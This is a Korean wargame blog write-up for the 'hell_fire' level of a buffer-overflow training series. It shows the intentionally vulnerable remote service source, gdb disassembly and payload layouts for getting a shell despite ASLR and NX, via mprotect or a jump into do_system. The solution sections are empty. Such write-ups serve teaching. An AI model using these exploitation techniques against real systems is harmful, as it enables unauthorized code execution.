둘둘리둘둘리둘둘리둘둘리둘둘리둘

[ Fedora Core 3] dark_eyes -> hell_fire 본문

War game/해커 스쿨 FC3

[ Fedora Core 3] dark_eyes -> hell_fire

dool2ly 2015. 8. 23. 20:15

[dark_eyes@Fedora_1stFloor ~]$ cat ./hell_fire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - hell_fire

        - Remote BOF on Fedora Core 3

        - hint : another fake ebp or got overwriting

        - port : TCP 7777

*/


#include <stdio.h>


int main()

{

        char buffer[256];

        char saved_sfp[4];

        char temp[1024];


        printf("hell_fire : What's this smell?\n");

        printf("you : ");

        fflush(stdout);


        // give me a food

        fgets(temp, 1024, stdin);


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, temp);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

}


슈퍼데몬이 tcp7777포트에 돌려주는 프로그램이다.


문제는 iron_golem과 거의 같지만 iron_golem에서의 방법은 사용할 수 없다.

(sh 띄워주는 프로그램을 만들어도 hell_fire가 찾을 수 없음)


결국 hell_fire프로그램 안에서 해결을 해야되는데 ASLR과 NX-bit로 인해 쉽지않다.


ASLR때문에 정확한 주소를 찾을수 없다. -> 고정된 주소를 찾는다.

NX-bit로인해 stack에서 코드를 실행 시킬 수 없음 -> 함수 mprotect로 해당 메모리에 실행 권한을 부여한다.


그럼 찾아야 할것은 .. mprotect의 주소, fake ebp로 사용할 주소, main의 dummy 크기, __libc_start_main의 dummy 크기 정도면 될것 같다.


//mprotect 주소

(gdb) b *main+221

Breakpoint 1 at 0x8048561

(gdb) r

Starting program: /home/dark_eyes/hell_fir1

(no debugging symbols found)...(no debugging symbols found)...hell_fire : What's this smell?

you : DDDDDDDD

DDDDDDDD



Breakpoint 1, 0x08048561 in main ()

(gdb) p mprotect

$1 = {<text variable, no debug info>} 0x714670 <mprotect>



//고정된 주소 stdin의 임시버퍼
0x080484d1 <main+77>:   add    esp,0x10
0x080484d4 <main+80>:   sub    esp,0x4
0x080484d7 <main+83>:   push   ds:0x8049788
0x080484dd <main+89>:   push   0x400
0x080484e2 <main+94>:   lea    eax,[ebp-1304]
0x080484e8 <main+100>:  push   eax
0x080484e9 <main+101>:  call   0x804838c <_init+56>
0x080484ee <main+106>:  add    esp,0x10
0x080484f1 <main+109>:  sub    esp,0x4



//main의 dummy크기, __libc_start_main의 dummy크기

iron_golem과 동일한 268byte, 88byte



mprotect로 랜덤한 위치인 스텍의 권한을 바꾸기 힘드니까 고정된 주소인 0xf6ffe000에 실행권한을 추가하고, ebp를 stdin으로 옮겨 쉘코드를 실행할 수 있게 한다.


그렇다면 페이로드는 아래와 같아진다

[ dummy(268) | 0xf6ffe16c(leave-ret) | leave-ret | mprotect | &shell code | 0xf6ffe000 | 0x800 | 0x7 | nop+shellcode ]



--풀이--



매우 간단한 다른 방법이 있는데, do_system함수를 이용한 방법으로 이번 문제는 대부분 이방법으로 푼것같다.


system 함수 내부에서 사용하는 do_system함수에서 execve("/bin/sh","-c 인자",NULL);을 호출한다.

(do_system은 Fedora에만? 있음)


그래서 do_system 내부에서 execve()를 호출하는 루틴을 호출해 주는것 만으로 쉘을 딸 수 있다.


// do_system 있음 !!

(gdb) disassemble system

Dump of assembler code for function system:

0x007507c0 <system+0>:  push   %ebp

0x007507c1 <system+1>:  mov    %esp,%ebp

0x007507c3 <system+3>:  sub    $0xc,%esp

0x007507c6 <system+6>:  mov    %ebx,(%esp)

0x007507c9 <system+9>:  mov    %esi,0x4(%esp)

....

0x007507ee <system+46>: mov    %esi,%eax

0x007507f0 <system+48>: mov    (%esp),%ebx

0x007507f3 <system+51>: mov    0x4(%esp),%esi

0x007507f7 <system+55>: mov    0x8(%esp),%edi

0x007507fb <system+59>: mov    %ebp,%esp

0x007507fd <system+61>: pop    %ebp

0x007507fe <system+62>: jmp    0x750320 <do_system>

0x00750803 <system+67>: lea    0xffff4617(%ebx),%eax

0x00750809 <system+73>: call   0x750320 <do_system>

0x0075080e <system+78>: test   %eax,%eax

0x00750810 <system+80>: sete   %al

0x00750813 <system+83>: movzbl %al,%eax

0x00750816 <system+86>: mov    (%esp),%ebx




//do_system의 execve 호출 루틴

(gdb) disassemble do_system

Dump of assembler code for function do_system:

0x00750320 <do_system+0>:       push   %ebp

0x00750321 <do_system+1>:       mov    $0x1,%edx

0x00750326 <do_system+6>:       mov    %esp,%ebp

0x00750328 <do_system+8>:       push   %edi

0x00750329 <do_system+9>:       push   %esi

0x0075032a <do_system+10>:      lea    0xffffff68(%ebp),%esi

....
0x0075077f <do_system+1119>:    call   0x743d30 <sigprocmask>
0x00750784 <do_system+1124>:    mov    0xfffffec4(%ebx),%ecx
0x0075078a <do_system+1130>:    xor    %edx,%edx
0x0075078c <do_system+1132>:    xor    %eax,%eax
0x0075078e <do_system+1134>:    mov    %edx,0x16bc(%ebx)
0x00750794 <do_system+1140>:    lea    0xffff460f(%ebx),%edx
0x0075079a <do_system+1146>:    mov    (%ecx),%edi
0x0075079c <do_system+1148>:    mov    %eax,0x16b8(%ebx)
0x007507a2 <do_system+1154>:    mov    %esi,0x4(%esp)
0x007507a6 <do_system+1158>:    mov    %edi,0x8(%esp)
0x007507aa <do_system+1162>:    mov    %edx,(%esp)
0x007507ad <do_system+1165>:    call   0x7a5490 <execve>
0x007507b2 <do_system+1170>:    movl   $0x7f,(%esp)


그럼 아래와 같은 간단한 페이로드만으로 쉘을 획득할 수 있다.

[ dummy(268) | &<do_system+1124> }



--풀이--


Comments